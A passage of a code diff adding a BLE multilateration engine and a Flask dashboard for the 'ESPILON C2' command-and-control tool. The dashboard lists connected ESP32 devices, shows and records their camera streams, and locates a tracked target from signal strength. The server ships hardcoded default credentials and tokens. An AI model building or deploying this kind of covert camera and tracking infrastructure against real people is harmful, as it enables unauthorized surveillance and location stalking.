squares optimization. + + Returns: + dict with position, confidence, and scanner info, or error + """ + # Get active scanners (those with readings) + active_scanners = [ + (sid, s) for sid, s in self.scanners.items() + if s["rssi_history"] + ] + + if len(active_scanners) < 3: + return { + "error": f"Need at least 3 active scanners (have {len(active_scanners)})", + "scanners_count": len(active_scanners) + } + + # Determine coordinate mode from first scanner + first_pos = active_scanners[0][1]["position"] + is_gps = "lat" in first_pos + + # Prepare data arrays + positions = [] + distances = [] + weights = [] + + # Reference point for GPS conversion (centroid) + if is_gps: + ref_lat = sum(s["position"]["lat"] for _, s in active_scanners) / len(active_scanners) + ref_lon = sum(s["position"]["lon"] for _, s in active_scanners) / len(active_scanners) + + for scanner_id, scanner in active_scanners: + pos = scanner["position"] + + if is_gps: + # Convert GPS to local meters relative to reference + x = self.haversine_distance(ref_lat, ref_lon, ref_lat, pos["lon"]) + if pos["lon"] < ref_lon: + x = -x + y = self.haversine_distance(ref_lat, ref_lon, pos["lat"], ref_lon) + if pos["lat"] < ref_lat: + y = -y + else: + x, y = pos["x"], pos["y"] + + # Average RSSI for noise reduction + avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"]) + distance = self.rssi_to_distance(avg_rssi) + + positions.append([x, y]) + distances.append(distance) + + # Weight by signal strength (stronger signal = more reliable) + weights.append(1.0 / (abs(avg_rssi) ** 2)) + + positions = np.array(positions) + distances = np.array(distances) + weights = np.array(weights) + weights = weights / weights.sum() + + # Cost function + def cost_function(point): + x, y = point + estimated_distances = np.sqrt((positions[:, 0] - x)**2 + (positions[:, 1] - y)**2) + errors = (estimated_distances - distances) ** 2 + return np.sum(weights * errors) + + # Initial guess: weighted centroid + x0 = np.sum(weights * positions[:, 0]) + y0 = np.sum(weights * positions[:, 1]) + + # Optimize + result = minimize(cost_function, [x0, y0], method='L-BFGS-B') + + if result.success: + target_x, target_y = result.x + confidence = 1.0 / (1.0 + result.fun) + + if is_gps: + # Convert back to GPS + delta_lat, delta_lon = self.meters_to_degrees(1, ref_lat) + target_lat = ref_lat + target_y * delta_lat + target_lon = ref_lon + target_x * delta_lon + + self._last_target = { + "lat": round(float(target_lat), 6), + "lon": round(float(target_lon), 6) + } + else: + self._last_target = { + "x": round(float(target_x), 2), + "y": round(float(target_y), 2) + } + + self._last_calculation = time.time() + + return { + "position": self._last_target, + "confidence": round(float(confidence), 3), + "scanners_used": len(active_scanners), + "calculated_at": self._last_calculation + } + else: + return { + "error": "Optimization failed", + "details": result.message + } + + def get_state(self) -> dict: + """ + Get the current state of the MLAT system. + + Returns: + dict with scanner info and last target position + """ + now = time.time() + scanners_data = [] + + for scanner_id, scanner in self.scanners.items(): + avg_rssi = None + distance = None + + if scanner["rssi_history"]: + avg_rssi = sum(scanner["rssi_history"]) / len(scanner["rssi_history"]) + distance = round(self.rssi_to_distance(avg_rssi), 2) + avg_rssi = round(avg_rssi, 1) + + scanners_data.append({ + "id": scanner_id, + "position": scanner["position"], + "last_rssi": avg_rssi, + "estimated_distance": distance, + "last_seen": scanner["last_seen"], + "age_seconds": round(now - scanner["last_seen"], 1) + }) + + result = { + "scanners": scanners_data, + "scanners_count": len(scanners_data), + "target": None, + "config": { + "rssi_at_1m": self.rssi_at_1m, + "path_loss_n": self.path_loss_n, + "smoothing_window": self.smoothing_window + }, + "coord_mode": self._coord_mode + } + + # Add target if available + if self._last_target and (now - self._last_calculation) < 60: + result["target"] = { + "position": self._last_target, + "calculated_at": self._last_calculation, + "age_seconds": round(now - self._last_calculation, 1) + } + + return result + + def update_config(self, rssi_at_1m: float = None, path_loss_n: float = None, smoothing_window: int = None): + """ + Update MLAT configuration parameters. + + Args: + rssi_at_1m: New RSSI at 1m value + path_loss_n: New path loss exponent + smoothing_window: New smoothing window size + """ + if rssi_at_1m is not None: + self.rssi_at_1m = rssi_at_1m + if path_loss_n is not None: + self.path_loss_n = path_loss_n + if smoothing_window is not None: + self.smoothing_window = max(1, smoothing_window) + + def clear(self): + """Clear all scanner data and reset state.""" + self.scanners.clear() + self._last_target = None + self._last_calculation = 0 diff --git a/tools/c2/web/server.py b/tools/c2/web/server.py new file mode 100644 index 0000000..425cc52 --- /dev/null +++ b/tools/c2/web/server.py @@ -0,0 +1,387 @@ +"""Unified Flask web server for ESPILON C2 dashboard.""" + +import os +import logging +import threading +import time +from functools import wraps +from typing import Optional + +from flask import Flask, render_template, send_from_directory, request, redirect, url_for, session, jsonify +from werkzeug.serving import make_server + +from .mlat import MlatEngine + +# Disable Flask/Werkzeug request logging +logging.getLogger('werkzeug').setLevel(logging.ERROR) + + +class UnifiedWebServer: + """ + Unified Flask-based web server for ESPILON C2. + + Provides: + - Dashboard: View connected ESP32 devices + - Cameras: View live camera streams with recording + - Trilateration: Visualize BLE device positioning + """ + + def __init__(self, + host: str = "0.0.0.0", + port: int = 8000, + image_dir: str = "static/streams", + username: str = "admin", + password: str = "admin", + secret_key: str = "change_this_for_prod", + multilat_token: str = "multilat_secret_token", + device_registry=None, + mlat_engine: Optional[MlatEngine] = None, + camera_receiver=None): + """ + Initialize the unified web server. + + Args: + host: Host to bind the server + port: Port for the web server + image_dir: Directory containing camera frame images + username: Login username + password: Login password + secret_key: Flask session secret key + multilat_token: Bearer token for MLAT API + device_registry: DeviceRegistry instance for device listing + mlat_engine: MlatEngine instance (created if None) + camera_receiver: UDPReceiver instance for camera control + """ + self.host = host + self.port = port + self.image_dir = image_dir + self.username = username + self.password = password + self.secret_key = secret_key + self.multilat_token = multilat_token + self.device_registry = device_registry + self.mlat = mlat_engine or MlatEngine() + self.camera_receiver = camera_receiver + + # Ensure image directory exists + c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + full_image_dir = os.path.join(c2_root, self.image_dir) + os.makedirs(full_image_dir, exist_ok=True) + + self._app = self._create_app() + self._server = None + self._thread = None + + def set_camera_receiver(self, receiver): + """Set the camera receiver after initialization.""" + self.camera_receiver = receiver + + @property + def is_running(self) -> bool: + return self._thread is not None and self._thread.is_alive() + + def _create_app(self) -> Flask: + """Create and configure the Flask application.""" + c2_root = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) + template_dir = os.path.join(c2_root, "templates") + static_dir = os.path.join(c2_root, "static") + + app = Flask(__name__, + template_folder=template_dir, + static_folder=static_dir) + app.secret_key = self.secret_key + + web_server = self + + # ========== Auth Decorators ========== + + def require_login(f): + @wraps(f) + def decorated(*args, **kwargs): + if not session.get("logged_in"): + return redirect(url_for("login")) + return f(*args, **kwargs) + return decorated + + def require_api_auth(f): + @wraps(f) + def decorated(*args, **kwargs): + if session.get("logged_in"): + return f(*args, **kwargs) + + auth_header = request.headers.get("Authorization", "") + if auth_header.startswith("Bearer "): + token = auth_header[7:] + if token == web_server.multilat_token: + return f(*args, **kwargs) + + return jsonify({"error": "Unauthorized"}), 401 + return decorated + + # ========== Auth Routes ========== + + @app.route("/login", methods=["GET", "POST"]) + def login(): + error = None + if request.method == "POST": + username = request.form.get("username") + password = request.form.get("password") + if username == web_server.username and password == web_server.password: + session["logged_in"] = True + return redirect(url_for("dashboard")) + else: + error = "Invalid credentials." + return render_template("login.html", error=error) + + @app.route("/logout") + def logout(): + session.pop("logged_in", None) + return redirect(url_for("login")) + + # ========== Page Routes ========== + + @app.route("/") + @require_login + def index(): + return redirect(url_for("dashboard")) + + @app.route("/dashboard") + @require_login + def dashboard(): + return render_template("dashboard.html", active_page="dashboard") + + @app.route("/cameras") + @require_login + def cameras(): + full_image_dir = os.path.join(c2_root, web_server.image_dir) + try: + image_files = sorted([ + f for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ]) + except FileNotFoundError: + image_files = [] + + return render_template("cameras.html", active_page="cameras", image_files=image_files) + + @app.route("/mlat") + @require_login + def mlat(): + return render_template("mlat.html", active_page="mlat") + + # ========== Static Files ========== + + @app.route("/streams/") + @require_login + def stream_image(filename): + full_image_dir = os.path.join(c2_root, web_server.image_dir) + return send_from_directory(full_image_dir, filename) + + @app.route("/recordings/") + @require_login + def download_recording(filename): + recordings_dir = os.path.join(c2_root, "static", "recordings") + return send_from_directory(recordings_dir, filename, as_attachment=True) + + # ========== Device API ========== + + @app.route("/api/devices") + @require_api_auth + def api_devices(): + if web_server.device_registry is None: + return jsonify({"error": "Device registry not available", "devices": []}) + + now = time.time() + devices = [] + + for d in web_server.device_registry.all(): + devices.append({ + "id": d.id, + "ip": d.address[0] if d.address else "unknown", + "port": d.address[1] if d.address else 0, + "status": d.status, + "connected_at": d.connected_at, + "last_seen": d.last_seen, + "connected_for_seconds": round(now - d.connected_at, 1), + "last_seen_ago_seconds": round(now - d.last_seen, 1) + }) + + return jsonify({ + "devices": devices, + "count": len(devices) + }) + + # ========== Camera API ========== + + @app.route("/api/cameras") + @require_api_auth + def api_cameras(): + full_image_dir = os.path.join(c2_root, web_server.image_dir) + try: + cameras = [ + f.replace(".jpg", "") + for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ] + except FileNotFoundError: + cameras = [] + + # Add recording status if receiver available + result = {"cameras": [], "count": len(cameras)} + for cam_id in cameras: + cam_info = {"id": cam_id, "recording": False} + if web_server.camera_receiver: + status = web_server.camera_receiver.get_recording_status(cam_id) + cam_info["recording"] = status.get("recording", False) + cam_info["filename"] = status.get("filename") + result["cameras"].append(cam_info) + + result["count"] = len(result["cameras"]) + return jsonify(result) + + # ========== Recording API ========== + + @app.route("/api/recording/start/", methods=["POST"]) + @require_api_auth + def api_recording_start(camera_id): + if not web_server.camera_receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + result = web_server.camera_receiver.start_recording(camera_id) + if "error" in result: + return jsonify(result), 400 + return jsonify(result) + + @app.route("/api/recording/stop/", methods=["POST"]) + @require_api_auth + def api_recording_stop(camera_id): + if not web_server.camera_receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + result = web_server.camera_receiver.stop_recording(camera_id) + if "error" in result: + return jsonify(result), 400 + return jsonify(result) + + @app.route("/api/recording/status") + @require_api_auth + def api_recording_status(): + if not web_server.camera_receiver: + return jsonify({"error": "Camera receiver not available"}), 503 + + camera_id = request.args.get("camera_id") + return jsonify(web_server.camera_receiver.get_recording_status(camera_id)) + + @app.route("/api/recordings") + @require_api_auth + def api_recordings_list(): + if not web_server.camera_receiver: + return jsonify({"recordings": []}) + + return jsonify({"recordings": web_server.camera_receiver.list_recordings()}) + + # ========== Trilateration API ========== + + @app.route("/api/mlat/collect", methods=["POST"]) + @require_api_auth + def api_mlat_collect(): + raw_data = request.get_data(as_text=True) + count = web_server.mlat.parse_data(raw_data) + + if count > 0: + web_server.mlat.calculate_position() + + return jsonify({ + "status": "ok", + "readings_processed": count + }) + + @app.route("/api/mlat/state") + @require_api_auth + def api_mlat_state(): + state = web_server.mlat.get_state() + + if state["target"] is None and state["scanners_count"] >= 3: + result = web_server.mlat.calculate_position() + if "position" in result: + state["target"] = { + "position": result["position"], + "confidence": result.get("confidence", 0), + "calculated_at": result.get("calculated_at", time.time()), + "age_seconds": 0 + } + + return jsonify(state) + + @app.route("/api/mlat/config", methods=["GET", "POST"]) + @require_api_auth + def api_mlat_config(): + if request.method == "POST": + data = request.get_json() or {} + web_server.mlat.update_config( + rssi_at_1m=data.get("rssi_at_1m"), + path_loss_n=data.get("path_loss_n"), + smoothing_window=data.get("smoothing_window") + ) + + return jsonify({ + "rssi_at_1m": web_server.mlat.rssi_at_1m, + "path_loss_n": web_server.mlat.path_loss_n, + "smoothing_window": web_server.mlat.smoothing_window + }) + + @app.route("/api/mlat/clear", methods=["POST"]) + @require_api_auth + def api_mlat_clear(): + web_server.mlat.clear() + return jsonify({"status": "ok"}) + + # ========== Stats API ========== + + @app.route("/api/stats") + @require_api_auth + def api_stats(): + full_image_dir = os.path.join(c2_root, web_server.image_dir) + try: + camera_count = len([ + f for f in os.listdir(full_image_dir) + if f.endswith(".jpg") + ]) + except FileNotFoundError: + camera_count = 0 + + device_count = 0 + if web_server.device_registry: + device_count = len(list(web_server.device_registry.all())) + + multilat_state = web_server.mlat.get_state() + + return jsonify({ + "active_cameras": camera_count, + "connected_devices": device_count, + "multilateration_scanners": multilat_state["scanners_count"], + "server_running": True + }) + + return app + + def start(self) -> bool: + """Start the web server in a background thread.""" + if self.is_running: + return False + + self._server = make_server(self.host, self.port, self._app, threaded=True) + self._thread = threading.Thread(target=self._server.serve_forever, daemon=True) + self._thread.start() + return True + + def stop(self): + """Stop the web server.""" + if self._server: + self._server.shutdown() + self._server = None + self._thread = None + + def get_url(self) -> str: + """Get the server URL.""" + return f"http://{self.host}:{self.port}"